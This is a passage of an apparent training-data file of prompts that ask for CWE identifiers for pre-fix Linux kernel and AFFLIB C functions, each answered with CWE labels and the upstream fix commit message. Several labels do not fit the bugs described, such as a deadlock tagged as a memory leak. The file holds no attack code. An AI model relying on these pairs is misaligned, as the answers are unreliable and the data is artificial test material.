support.\")\n\nSigned-off-by: Daniel Mentz \nCo-developed-by: Hans Verkuil \nAcked-by: Sakari Ailus \nSigned-off-by: Hans Verkuil \nCc: # for v4.15 and up\nSigned-off-by: Mauro Carvalho Chehab '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int __put_v4l2_format32(struct v4l2_format *kp, struct v4l2_format32 __user *up)\n{\n\tif (put_user(kp->type, &up->type))\n\t\treturn -EFAULT;\n\n\tswitch (kp->type) {\n\tcase V4L2_BUF_TYPE_VIDEO_CAPTURE:\n\tcase V4L2_BUF_TYPE_VIDEO_OUTPUT:\n\t\treturn copy_to_user(&up->fmt.pix, &kp->fmt.pix,\n\t\t\t\t sizeof(kp->fmt.pix)) ? -EFAULT : 0;\n\tcase V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE:\n\tcase V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE:\n\t\treturn copy_to_user(&up->fmt.pix_mp, &kp->fmt.pix_mp,\n\t\t\t\t sizeof(kp->fmt.pix_mp)) ? -EFAULT : 0;\n\tcase V4L2_BUF_TYPE_VIDEO_OVERLAY:\n\tcase V4L2_BUF_TYPE_VIDEO_OUTPUT_OVERLAY:\n\t\treturn put_v4l2_window32(&kp->fmt.win, &up->fmt.win);\n\tcase V4L2_BUF_TYPE_VBI_CAPTURE:\n\tcase V4L2_BUF_TYPE_VBI_OUTPUT:\n\t\treturn copy_to_user(&up->fmt.vbi, &kp->fmt.vbi,\n\t\t\t\t sizeof(kp->fmt.vbi)) ? -EFAULT : 0;\n\tcase V4L2_BUF_TYPE_SLICED_VBI_CAPTURE:\n\tcase V4L2_BUF_TYPE_SLICED_VBI_OUTPUT:\n\t\treturn copy_to_user(&up->fmt.sliced, &kp->fmt.sliced,\n\t\t\t\t sizeof(kp->fmt.sliced)) ? -EFAULT : 0;\n\tcase V4L2_BUF_TYPE_SDR_CAPTURE:\n\tcase V4L2_BUF_TYPE_SDR_OUTPUT:\n\t\treturn copy_to_user(&up->fmt.sdr, &kp->fmt.sdr,\n\t\t\t\t sizeof(kp->fmt.sdr)) ? -EFAULT : 0;\n\tcase V4L2_BUF_TYPE_META_CAPTURE:\n\t\treturn copy_to_user(&up->fmt.meta, &kp->fmt.meta,\n\t\t\t\t sizeof(kp->fmt.meta)) ? -EFAULT : 0;\n\tdefault:\n\t\treturn -EINVAL;\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'media: v4l2-compat-ioctl32.c: refactor compat ioctl32 logic\n\nThe 32-bit compat v4l2 ioctl handling is implemented based on its 64-bit\nequivalent. It converts 32-bit data structures into its 64-bit\nequivalents and needs to provide the data to the 64-bit ioctl in user\nspace memory which is commonly allocated using\ncompat_alloc_user_space().\n\nHowever, due to how that function is implemented, it can only be called\na single time for every syscall invocation.\n\nSupposedly to avoid this limitation, the existing code uses a mix of\nmemory from the kernel stack and memory allocated through\ncompat_alloc_user_space().\n\nUnder normal circumstances, this would not work, because the 64-bit\nioctl expects all pointers to point to user space memory. As a\nworkaround, set_fs(KERNEL_DS) is called to temporarily disable this\nextra safety check and allow kernel pointers. However, this might\nintroduce a security vulnerability: The result of the 32-bit to 64-bit\nconversion is writeable by user space because the output buffer has been\nallocated via compat_alloc_user_space(). A malicious user space process\ncould then manipulate pointers inside this output buffer, and due to the\nprevious set_fs(KERNEL_DS) call, functions like get_user() or put_user()\nno longer prevent kernel memory access.\n\nThe new approach is to pre-calculate the total amount of user space\nmemory that is needed, allocate it using compat_alloc_user_space() and\nthen divide up the allocated memory to accommodate all data structures\nthat need to be converted.\n\nAn alternative approach would have been to retain the union type karg\nthat they allocated on the kernel stack in do_video_ioctl(), copy all\ndata from user space into karg and then back to user space. However, we\ndecided against this approach because it does not align with other\ncompat syscall implementations. Instead, we tried to replicate the\nget_user/put_user pairs as found in other places in the kernel:\n\n if (get_user(clipcount, &up->clipcount) ||\n put_user(clipcount, &kp->clipcount)) return -EFAULT;\n\nNotes from hans.verkuil@cisco.com:\n\nThis patch was taken from:\n https://github.com/LineageOS/android_kernel_samsung_apq8084/commit/97b733953c06e4f0398ade18850f0817778255f7\n\nClearly nobody could be bothered to upstream this patch or at minimum\ntell us :-( We only heard about this a week ago.\n\nThis patch was rebased and cleaned up. Compared to the original I\nalso swapped the order of the convert_in_user arguments so that they\nmatched copy_in_user. It was hard to review otherwise. I also replaced\nthe ALLOC_USER_SPACE/ALLOC_AND_GET by a normal function.\n\nFixes: 6b5a9492ca (\"v4l: introduce string control support.\")\n\nSigned-off-by: Daniel Mentz \nCo-developed-by: Hans Verkuil \nAcked-by: Sakari Ailus \nSigned-off-by: Hans Verkuil \nCc: # for v4.15 and up\nSigned-off-by: Mauro Carvalho Chehab '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool f2fs_init_extent_tree(struct inode *inode, struct f2fs_extent *i_ext)\n{\n\tstruct f2fs_sb_info *sbi = F2FS_I_SB(inode);\n\tstruct extent_tree *et;\n\tstruct extent_node *en;\n\tstruct extent_info ei;\n\n\tif (!f2fs_may_extent_tree(inode)) {\n\t\t/* drop largest extent */\n\t\tif (i_ext && i_ext->len) {\n\t\t\ti_ext->len = 0;\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\tet = __grab_extent_tree(inode);\n\n\tif (!i_ext || !i_ext->len)\n\t\treturn false;\n\n\tget_extent_info(&ei, i_ext);\n\n\twrite_lock(&et->lock);\n\tif (atomic_read(&et->node_cnt))\n\t\tgoto out;\n\n\ten = __init_extent_tree(sbi, et, &ei);\n\tif (en) {\n\t\tspin_lock(&sbi->extent_lock);\n\t\tlist_add_tail(&en->list, &sbi->extent_list);\n\t\tspin_unlock(&sbi->extent_lock);\n\t}\nout:\n\twrite_unlock(&et->lock);\n\treturn false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'f2fs: fix a bug caused by NULL extent tree\n\nThread A:\t\t\t\t\tThread B:\n\n-f2fs_remount\n -sbi->mount_opt.opt = 0;\n\t\t\t\t\t\t<--- -f2fs_iget\n\t\t\t\t\t\t -do_read_inode\n\t\t\t\t\t\t\t -f2fs_init_extent_tree\n\t\t\t\t\t\t\t -F2FS_I(inode)->extent_tree is NULL\n -default_options && parse_options\n\t -remount return\n\t\t\t\t\t\t<--- -f2fs_map_blocks\n\t\t\t\t\t\t -f2fs_lookup_extent_tree\n -f2fs_bug_on(sbi, !et);\n\nThe same problem with f2fs_new_inode.\n\nSigned-off-by: Yunlei He \nSigned-off-by: Jaegeuk Kim '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ocfs2_setattr(struct dentry *dentry, struct iattr *attr)\n{\n\tint status = 0, size_change;\n\tint inode_locked = 0;\n\tstruct inode *inode = d_inode(dentry);\n\tstruct super_block *sb = inode->i_sb;\n\tstruct ocfs2_super *osb = OCFS2_SB(sb);\n\tstruct buffer_head *bh = NULL;\n\thandle_t *handle = NULL;\n\tstruct dquot *transfer_to[MAXQUOTAS] = { };\n\tint qtype;\n\tint had_lock;\n\tstruct ocfs2_lock_holder oh;\n\n\ttrace_ocfs2_setattr(inode, dentry,\n\t\t\t (unsigned long long)OCFS2_I(inode)->ip_blkno,\n\t\t\t dentry->d_name.len, dentry->d_name.name,\n\t\t\t attr->ia_valid, attr->ia_mode,\n\t\t\t from_kuid(&init_user_ns, attr->ia_uid),\n\t\t\t from_kgid(&init_user_ns, attr->ia_gid));\n\n\t/* ensuring we don't even attempt to truncate a symlink */\n\tif (S_ISLNK(inode->i_mode))\n\t\tattr->ia_valid &= ~ATTR_SIZE;\n\n#define OCFS2_VALID_ATTRS (ATTR_ATIME | ATTR_MTIME | ATTR_CTIME | ATTR_SIZE \\\n\t\t\t | ATTR_GID | ATTR_UID | ATTR_MODE)\n\tif (!(attr->ia_valid & OCFS2_VALID_ATTRS))\n\t\treturn 0;\n\n\tstatus = setattr_prepare(dentry, attr);\n\tif (status)\n\t\treturn status;\n\n\tif (is_quota_modification(inode, attr)) {\n\t\tstatus = dquot_initialize(inode);\n\t\tif (status)\n\t\t\treturn status;\n\t}\n\tsize_change = S_ISREG(inode->i_mode) && attr->ia_valid & ATTR_SIZE;\n\tif (size_change) {\n\t\tstatus = ocfs2_rw_lock(inode, 1);\n\t\tif (status < 0) {\n\t\t\tmlog_errno(status);\n\t\t\tgoto bail;\n\t\t}\n\t}\n\n\thad_lock = ocfs2_inode_lock_tracker(inode, &bh, 1, &oh);\n\tif (had_lock < 0) {\n\t\tstatus = had_lock;\n\t\tgoto bail_unlock_rw;\n\t} else if (had_lock) {\n\t\t/*\n\t\t * As far as we know, ocfs2_setattr() could only be the first\n\t\t * VFS entry point in the call chain of recursive cluster\n\t\t * locking issue.\n\t\t *\n\t\t * For instance:\n\t\t * chmod_common()\n\t\t * notify_change()\n\t\t * ocfs2_setattr()\n\t\t * posix_acl_chmod()\n\t\t * ocfs2_iop_get_acl()\n\t\t *\n\t\t * But, we're not 100% sure if it's always true, because the\n\t\t * ordering of the VFS entry points in the call chain is out\n\t\t * of our control. So, we'd better dump the stack here to\n\t\t * catch the other cases of recursive locking.\n\t\t */\n\t\tmlog(ML_ERROR, \"Another case of recursive locking:\\n\");\n\t\tdump_stack();\n\t}\n\tinode_locked = 1;\n\n\tif (size_change) {\n\t\tstatus = inode_newsize_ok(inode, attr->ia_size);\n\t\tif (status)\n\t\t\tgoto bail_unlock;\n\n\t\tinode_dio_wait(inode);\n\n\t\tif (i_size_read(inode) >= attr->ia_size) {\n\t\t\tif (ocfs2_should_order_data(inode)) {\n\t\t\t\tstatus = ocfs2_begin_ordered_truncate(inode,\n\t\t\t\t\t\t\t\t attr->ia_size);\n\t\t\t\tif (status)\n\t\t\t\t\tgoto bail_unlock;\n\t\t\t}\n\t\t\tstatus = ocfs2_truncate_file(inode, bh, attr->ia_size);\n\t\t} else\n\t\t\tstatus = ocfs2_extend_file(inode, bh, attr->ia_size);\n\t\tif (status < 0) {\n\t\t\tif (status != -ENOSPC)\n\t\t\t\tmlog_errno(status);\n\t\t\tstatus = -ENOSPC;\n\t\t\tgoto bail_unlock;\n\t\t}\n\t}\n\n\tif ((attr->ia_valid & ATTR_UID && !uid_eq(attr->ia_uid, inode->i_uid)) ||\n\t (attr->ia_valid & ATTR_GID && !gid_eq(attr->ia_gid, inode->i_gid))) {\n\t\t/*\n\t\t * Gather pointers to quota structures so that allocation /\n\t\t * freeing of quota structures happens here and not inside\n\t\t * dquot_transfer() where we have problems with lock ordering\n\t\t */\n\t\tif (attr->ia_valid & ATTR_UID && !uid_eq(attr->ia_uid, inode->i_uid)\n\t\t && OCFS2_HAS_RO_COMPAT_FEATURE(sb,\n\t\t OCFS2_FEATURE_RO_COMPAT_USRQUOTA)) {\n\t\t\ttransfer_to[USRQUOTA] = dqget(sb, make_kqid_uid(attr->ia_uid));\n\t\t\tif (IS_ERR(transfer_to[USRQUOTA])) {\n\t\t\t\tstatus = PTR_ERR(transfer_to[USRQUOTA]);\n\t\t\t\tgoto bail_unlock;\n\t\t\t}\n\t\t}\n\t\tif (attr->ia_valid & ATTR_GID && !gid_eq(attr->ia_gid, inode->i_gid)\n\t\t && OCFS2_HAS_RO_COMPAT_FEATURE(sb,\n\t\t OCFS2_FEATURE_RO_COMPAT_GRPQUOTA)) {\n\t\t\ttransfer_to[GRPQUOTA] = dqget(sb, make_kqid_gid(attr->ia_gid));\n\t\t\tif (IS_ERR(transfer_to[GRPQUOTA])) {\n\t\t\t\tstatus = PTR_ERR(transfer_to[GRPQUOTA]);\n\t\t\t\tgoto bail_unlock;\n\t\t\t}\n\t\t}\n\t\thandle = ocfs2_start_trans(osb, OCFS2_INODE_UPDATE_CREDITS +\n\t\t\t\t\t 2 * ocfs2_quota_trans_credits(sb));\n\t\tif (IS_ERR(handle)) {\n\t\t\tstatus = PTR_ERR(handle);\n\t\t\tmlog_errno(status);\n\t\t\tgoto bail_unlock;\n\t\t}\n\t\tstatus = __dquot_transfer(inode, transfer_to);\n\t\tif (status < 0)\n\t\t\tgoto bail_commit;\n\t} else {\n\t\thandle = ocfs2_start_trans(osb, OCFS2_INODE_UPDATE_CREDITS);\n\t\tif (IS_ERR(handle)) {\n\t\t\tstatus = PTR_ERR(handle);\n\t\t\tmlog_errno(status);\n\t\t\tgoto bail_unlock;\n\t\t}\n\t}\n\n\tsetattr_copy(inode, attr);\n\tmark_inode_dirty(inode);\n\n\tstatus = ocfs2_mark_inode_dirty(handle, inode, bh);\n\tif (status < 0)\n\t\tmlog_errno(status);\n\nbail_commit:\n\tocfs2_commit_trans(osb, handle);\nbail_unlock:\n\tif (status && inode_locked) {\n\t\tocfs2_inode_unlock_tracker(inode, 1, &oh, had_lock);\n\t\tinode_locked = 0;\n\t}\nbail_unlock_rw:\n\tif (size_change)\n\t\tocfs2_rw_unlock(inode, 1);\nbail:\n\n\t/* Release quota pointers in case we acquired them */\n\tfor (qtype = 0; qtype < OCFS2_MAXQUOTAS; qtype++)\n\t\tdqput(transfer_to[qtype]);\n\n\tif (!status && attr->ia_valid & ATTR_MODE) {\n\t\tstatus = ocfs2_acl_chmod(inode, bh);\n\t\tif (status < 0)\n\t\t\tmlog_errno(status);\n\t}\n\tif (inode_locked)\n\t\tocfs2_inode_unlock_tracker(inode, 1, &oh, had_lock);\n\n\tbrelse(bh);\n\treturn status;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-401'], 'message': 'ocfs2: should wait dio before inode lock in ocfs2_setattr()\n\nwe should wait dio requests to finish before inode lock in\nocfs2_setattr(), otherwise the following deadlock will happen:\n\nprocess 1 process 2 process 3\ntruncate file 'A' end_io of writing file 'A' receiving the bast messages\nocfs2_setattr\n ocfs2_inode_lock_tracker\n ocfs2_inode_lock_full\n inode_dio_wait\n __inode_dio_wait\n -->waiting for all dio\n requests finish\n dlm_proxy_ast_handler\n dlm_do_local_bast\n ocfs2_blocking_ast\n ocfs2_generic_handle_bast\n set OCFS2_LOCK_BLOCKED flag\n dio_end_io\n dio_bio_end_aio\n dio_complete\n ocfs2_dio_end_io\n ocfs2_dio_end_io_write\n ocfs2_inode_lock\n __ocfs2_cluster_lock\n ocfs2_wait_for_mask\n -->waiting for OCFS2_LOCK_BLOCKED\n flag to be cleared, that is waiting\n for 'process 1' unlocking the inode lock\n inode_dio_end\n -->here dec the i_dio_count, but will never\n be called, so a deadlock happened.\n\nLink: http://lkml.kernel.org/r/59F81636.70508@huawei.com\nSigned-off-by: Alex Chen \nReviewed-by: Jun Piao \nReviewed-by: Joseph Qi \nAcked-by: Changwei Ge \nCc: Mark Fasheh \nCc: Joel Becker \nCc: Junxiao Bi \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static struct o2nm_cluster *to_o2nm_cluster_from_node(struct o2nm_node *node)\n{\n\t/* through the first node_set .parent\n\t * mycluster/nodes/mynode == o2nm_cluster->o2nm_node_group->o2nm_node */\n\treturn to_o2nm_cluster(node->nd_item.ci_parent->ci_parent);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-284'], 'message': 'ocfs2: subsystem.su_mutex is required while accessing the item->ci_parent\n\nThe subsystem.su_mutex is required while accessing the item->ci_parent,\notherwise, NULL pointer dereference to the item->ci_parent will be\ntriggered in the following situation:\n\nadd node delete node\nsys_write\n vfs_write\n configfs_write_file\n o2nm_node_store\n o2nm_node_local_write\n do_rmdir\n vfs_rmdir\n configfs_rmdir\n mutex_lock(&subsys->su_mutex);\n unlink_obj\n item->ci_group = NULL;\n item->ci_parent = NULL;\n\t to_o2nm_cluster_from_node\n\t node->nd_item.ci_parent->ci_parent\n\t BUG since of NULL pointer dereference to nd_item.ci_parent\n\nMoreover, the o2nm_cluster also should be protected by the\nsubsystem.su_mutex.\n\n[alex.chen@huawei.com: v2]\n Link: http://lkml.kernel.org/r/59EEAA69.9080703@huawei.com\nLink: http://lkml.kernel.org/r/59E9B36A.10700@huawei.com\nSigned-off-by: Alex Chen \nReviewed-by: Jun Piao \nReviewed-by: Joseph Qi \nCc: Mark Fasheh \nCc: Joel Becker \nCc: Junxiao Bi \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void __munlock_pagevec(struct pagevec *pvec, struct zone *zone)\n{\n\tint i;\n\tint nr = pagevec_count(pvec);\n\tint delta_munlocked;\n\tstruct pagevec pvec_putback;\n\tint pgrescued = 0;\n\n\tpagevec_init(&pvec_putback, 0);\n\n\t/* Phase 1: page isolation */\n\tspin_lock_irq(zone_lru_lock(zone));\n\tfor (i = 0; i < nr; i++) {\n\t\tstruct page *page = pvec->pages[i];\n\n\t\tif (TestClearPageMlocked(page)) {\n\t\t\t/*\n\t\t\t * We already have pin from follow_page_mask()\n\t\t\t * so we can spare the get_page() here.\n\t\t\t */\n\t\t\tif (__munlock_isolate_lru_page(page, false))\n\t\t\t\tcontinue;\n\t\t\telse\n\t\t\t\t__munlock_isolation_failed(page);\n\t\t}\n\n\t\t/*\n\t\t * We won't be munlocking this page in the next phase\n\t\t * but we still need to release the follow_page_mask()\n\t\t * pin. We cannot do it under lru_lock however. If it's\n\t\t * the last pin, __page_cache_release() would deadlock.\n\t\t */\n\t\tpagevec_add(&pvec_putback, pvec->pages[i]);\n\t\tpvec->pages[i] = NULL;\n\t}\n\tdelta_munlocked = -nr + pagevec_count(&pvec_putback);\n\t__mod_zone_page_state(zone, NR_MLOCK, delta_munlocked);\n\tspin_unlock_irq(zone_lru_lock(zone));\n\n\t/* Now we can release pins of pages that we are not munlocking */\n\tpagevec_release(&pvec_putback);\n\n\t/* Phase 2: page munlock */\n\tfor (i = 0; i < nr; i++) {\n\t\tstruct page *page = pvec->pages[i];\n\n\t\tif (page) {\n\t\t\tlock_page(page);\n\t\t\tif (!__putback_lru_fast_prepare(page, &pvec_putback,\n\t\t\t\t\t&pgrescued)) {\n\t\t\t\t/*\n\t\t\t\t * Slow path. We don't want to lose the last\n\t\t\t\t * pin before unlock_page()\n\t\t\t\t */\n\t\t\t\tget_page(page); /* for putback_lru_page() */\n\t\t\t\t__munlock_isolated_page(page);\n\t\t\t\tunlock_page(page);\n\t\t\t\tput_page(page); /* from follow_page_mask() */\n\t\t\t}\n\t\t}\n\t}\n\n\t/*\n\t * Phase 3: page putback for pages that qualified for the fast path\n\t * This will also call put_page() to return pin from follow_page_mask()\n\t */\n\tif (pagevec_count(&pvec_putback))\n\t\t__putback_lru_fast(&pvec_putback, pgrescued);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'mlock: fix mlock count can not decrease in race condition\n\nKefeng reported that when running the follow test, the mlock count in\nmeminfo will increase permanently:\n\n [1] testcase\n linux:~ # cat test_mlockal\n grep Mlocked /proc/meminfo\n for j in `seq 0 10`\n do\n \tfor i in `seq 4 15`\n \tdo\n \t\t./p_mlockall >> log &\n \tdone\n \tsleep 0.2\n done\n # wait some time to let mlock counter decrease and 5s may not enough\n sleep 5\n grep Mlocked /proc/meminfo\n\n linux:~ # cat p_mlockall.c\n #include \n #include \n #include \n\n #define SPACE_LEN\t4096\n\n int main(int argc, char ** argv)\n {\n\t \tint ret;\n\t \tvoid *adr = malloc(SPACE_LEN);\n\t \tif (!adr)\n\t \t\treturn -1;\n\n\t \tret = mlockall(MCL_CURRENT | MCL_FUTURE);\n\t \tprintf(\"mlcokall ret = %d\\n\", ret);\n\n\t \tret = munlockall();\n\t \tprintf(\"munlcokall ret = %d\\n\", ret);\n\n\t \tfree(adr);\n\t \treturn 0;\n\t }\n\nIn __munlock_pagevec() we should decrement NR_MLOCK for each page where\nwe clear the PageMlocked flag. Commit 1ebb7cc6a583 (\"mm: munlock: batch\nNR_MLOCK zone state updates\") has introduced a bug where we don't\ndecrement NR_MLOCK for pages where we clear the flag, but fail to\nisolate them from the lru list (e.g. when the pages are on some other\ncpu's percpu pagevec). Since PageMlocked stays cleared, the NR_MLOCK\naccounting gets permanently disrupted by this.\n\nFix it by counting the number of page whose PageMlock flag is cleared.\n\nFixes: 1ebb7cc6a583 (\" mm: munlock: batch NR_MLOCK zone state updates\")\nLink: http://lkml.kernel.org/r/1495678405-54569-1-git-send-email-xieyisheng1@huawei.com\nSigned-off-by: Yisheng Xie \nReported-by: Kefeng Wang \nTested-by: Kefeng Wang \nCc: Vlastimil Babka \nCc: Joern Engel \nCc: Mel Gorman \nCc: Michel Lespinasse \nCc: Hugh Dickins \nCc: Rik van Riel \nCc: Johannes Weiner \nCc: Michal Hocko \nCc: Xishi Qiu \nCc: zhongjiang \nCc: Hanjun Guo \nCc: \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int unimac_mdio_probe(struct platform_device *pdev)\n{\n\tstruct unimac_mdio_pdata *pdata = pdev->dev.platform_data;\n\tstruct unimac_mdio_priv *priv;\n\tstruct device_node *np;\n\tstruct mii_bus *bus;\n\tstruct resource *r;\n\tint ret;\n\n\tnp = pdev->dev.of_node;\n\n\tpriv = devm_kzalloc(&pdev->dev, sizeof(*priv), GFP_KERNEL);\n\tif (!priv)\n\t\treturn -ENOMEM;\n\n\tr = platform_get_resource(pdev, IORESOURCE_MEM, 0);\n\n\t/* Just ioremap, as this MDIO block is usually integrated into an\n\t * Ethernet MAC controller register range\n\t */\n\tpriv->base = devm_ioremap(&pdev->dev, r->start, resource_size(r));\n\tif (!priv->base) {\n\t\tdev_err(&pdev->dev, \"failed to remap register\\n\");\n\t\treturn -ENOMEM;\n\t}\n\n\tpriv->mii_bus = mdiobus_alloc();\n\tif (!priv->mii_bus)\n\t\treturn -ENOMEM;\n\n\tbus = priv->mii_bus;\n\tbus->priv = priv;\n\tif (pdata) {\n\t\tbus->name = pdata->bus_name;\n\t\tpriv->wait_func = pdata->wait_func;\n\t\tpriv->wait_func_data = pdata->wait_func_data;\n\t\tbus->phy_mask = ~pdata->phy_mask;\n\t} else {\n\t\tbus->name = \"unimac MII bus\";\n\t\tpriv->wait_func_data = priv;\n\t\tpriv->wait_func = unimac_mdio_poll;\n\t}\n\tbus->parent = &pdev->dev;\n\tbus->read = unimac_mdio_read;\n\tbus->write = unimac_mdio_write;\n\tbus->reset = unimac_mdio_reset;\n\tsnprintf(bus->id, MII_BUS_ID_SIZE, \"%s-%d\", pdev->name, pdev->id);\n\n\tret = of_mdiobus_register(bus, np);\n\tif (ret) {\n\t\tdev_err(&pdev->dev, \"MDIO bus registration failed\\n\");\n\t\tgoto out_mdio_free;\n\t}\n\n\tplatform_set_drvdata(pdev, priv);\n\n\tdev_info(&pdev->dev, \"Broadcom UniMAC MDIO bus at 0x%p\\n\", priv->base);\n\n\treturn 0;\n\nout_mdio_free:\n\tmdiobus_free(bus);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'net: phy: mdio-bcm-unimac: fix potential NULL dereference in unimac_mdio_probe()\n\nplatform_get_resource() may fail and return NULL, so we should\nbetter check it's return value to avoid a NULL pointer dereference\na bit later in the code.\n\nThis is detected by Coccinelle semantic patch.\n\n@@\nexpression pdev, res, n, t, e, e1, e2;\n@@\n\nres = platform_get_resource(pdev, t, n);\n+ if (!res)\n+ return -EINVAL;\n... when != res == NULL\ne = devm_ioremap(e1, res->start, e2);\n\nSigned-off-by: Wei Yongjun \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int af_get_page(AFFILE *af,int64_t pagenum,unsigned char *data,size_t *bytes)\n{\n uint32_t arg=0;\n size_t page_len=0;\n\n if (af_trace){\n\tfprintf(af_trace,\"af_get_page(%p,pagenum=%\" I64d \",buf=%p,bytes=%u)\\n\",af,pagenum,data,(int)*bytes);\n }\n\n /* Find out the size of the segment and if it is compressed or not.\n * If we can't find it with new nomenclature, try the old one...\n */\n int r = af_get_page_raw(af,pagenum,&arg,0,&page_len);\n if(r){\n\t/* Segment doesn't exist.\n\t * If we have been provided with a buffer,\n\t * fill buffer with the 'bad segment' flag and return.\n\t */\n\tif(data && (af->openmode & AF_BADBLOCK_FILL) && errno == ENOENT)\n\t{\n\t for(size_t i = 0;i <= af->image_pagesize - af->image_sectorsize;\n\t\ti+= af->image_sectorsize){\n\t\tmemcpy(data+i,af->badflag,af->image_sectorsize);\n\t\taf->bytes_memcpy += af->image_sectorsize;\n\t }\n\n\t r = 0;\n\t}\n\treturn r;\t\t// segment doesn't exist\n }\n\n\n /* If the segment isn't compressed, just get it*/\n uint32_t pageflag = 0;\n if((arg & AF_PAGE_COMPRESSED)==0){\n\tif(data==0){\t\t\t// if no data provided, just return size of the segment if requested\n\t if(bytes) *bytes = page_len;\t// set the number of bytes in the page if requested\n\t return 0;\n\t}\n\tint ret = af_get_page_raw(af,pagenum,&pageflag,data,bytes);\n\tif(*bytes > page_len) *bytes = page_len; // we only read this much\n\tif(ret!=0) return ret;\t\t// some error happened?\n }\n else {\n\t/* Allocate memory to hold the compressed segment */\n\tunsigned char *compressed_data = (unsigned char *)malloc(page_len);\n\tsize_t compressed_data_len = page_len;\n\tif(compressed_data==0){\n\t return -2;\t\t\t// memory error\n\t}\n\n\t/* Get the data */\n\tif(af_get_page_raw(af,pagenum,&pageflag,compressed_data,&compressed_data_len)){\n\t free(compressed_data);\n\t return -3;\t\t\t// read error\n\t}\n\n\t/* Now uncompress directly into the buffer provided by the caller, unless the caller didn't\n\t * provide a buffer. If that happens, allocate our own...\n\t */\n\tint res = -1;\t\t\t// 0 is success\n\tbool free_data = false;\n\tif(data==0){\n\t data = (unsigned char *)malloc(af->image_pagesize);\n\t free_data = true;\n\t *bytes = af->image_pagesize; // I can hold this much\n\t}\n\n\tswitch((pageflag & AF_PAGE_COMP_ALG_MASK)){\n\tcase AF_PAGE_COMP_ALG_ZERO:\n\t if(compressed_data_len != 4){\n\t\t(*af->error_reporter)(\"ALG_ZERO compressed data is %d bytes, expected 4.\",compressed_data_len);\n\t\tbreak;\n\t }\n\t memset(data,0,af->image_pagesize);\n\t *bytes = ntohl(*(long *)compressed_data);\n\t res = 0;\t\t\t// not very hard to decompress with the ZERO compressor.\n\t break;\n\n\tcase AF_PAGE_COMP_ALG_ZLIB:\n\t res = uncompress(data,(uLongf *)bytes,compressed_data,compressed_data_len);\n\t switch(res){\n\t case Z_OK:\n\t\tbreak;\n\t case Z_ERRNO:\n\t\t(*af->error_reporter)(\"Z_ERRNOR decompressing segment %\" I64d,pagenum);\n\t case Z_STREAM_ERROR:\n\t\t(*af->error_reporter)(\"Z_STREAM_ERROR decompressing segment %\" I64d,pagenum);\n\t case Z_DATA_ERROR:\n\t\t(*af->error_reporter)(\"Z_DATA_ERROR decompressing segment %\" I64d,pagenum);\n\t case Z_MEM_ERROR:\n\t\t(*af->error_reporter)(\"Z_MEM_ERROR decompressing segment %\" I64d,pagenum);\n\t case Z_BUF_ERROR:\n\t\t(*af->error_reporter)(\"Z_BUF_ERROR decompressing segment %\" I64d,pagenum);\n\t case Z_VERSION_ERROR:\n\t\t(*af->error_reporter)(\"Z_VERSION_ERROR decompressing segment %\" I64d,pagenum);\n\t default:\n\t\t(*af->error_reporter)(\"uncompress returned an invalid value in get_segment\");\n\t }\n\t break;\n\n#ifdef USE_LZMA\n\tcase AF_PAGE_COMP_ALG_LZMA:\n\t res = lzma_uncompress(data,bytes,compressed_data,compressed_data_len);\n\t if (af_trace) fprintf(af_trace,\" LZMA decompressed page %\" I64d \". %d bytes => %u bytes\\n\",\n\t\t\t\t pagenum,(int)compressed_data_len,(int)*bytes);\n\t switch(res){\n\t case 0:break;\t\t// OK\n\t case 1:(*af->error_reporter)(\"LZMA header error decompressing segment %\" I64d \"\\n\",pagenum);\n\t\tbreak;\n\t case 2:(*af->error_reporter)(\"LZMA memory error decompressing segment %\" I64d \"\\n\",pagenum);\n\t\tbreak;\n\t }\n\t break;\n#endif\n\n\tdefault:\n\t (*af->error_reporter)(\"Unknown compression algorithm 0x%d\",\n\t\t\t\t pageflag & AF_PAGE_COMP_ALG_MASK);\n\t break;\n\t}\n\n\tif(free_data){\n\t free(data);\n\t data = 0;\t\t\t// restore the way it was\n\t}\n\tfree(compressed_data);\t\t// don't need this one anymore\n\taf->pages_decompressed++;\n\tif(res!=Z_OK) return -1;\n }\n\n /* If the page size is larger than the sector_size,\n * make sure that the 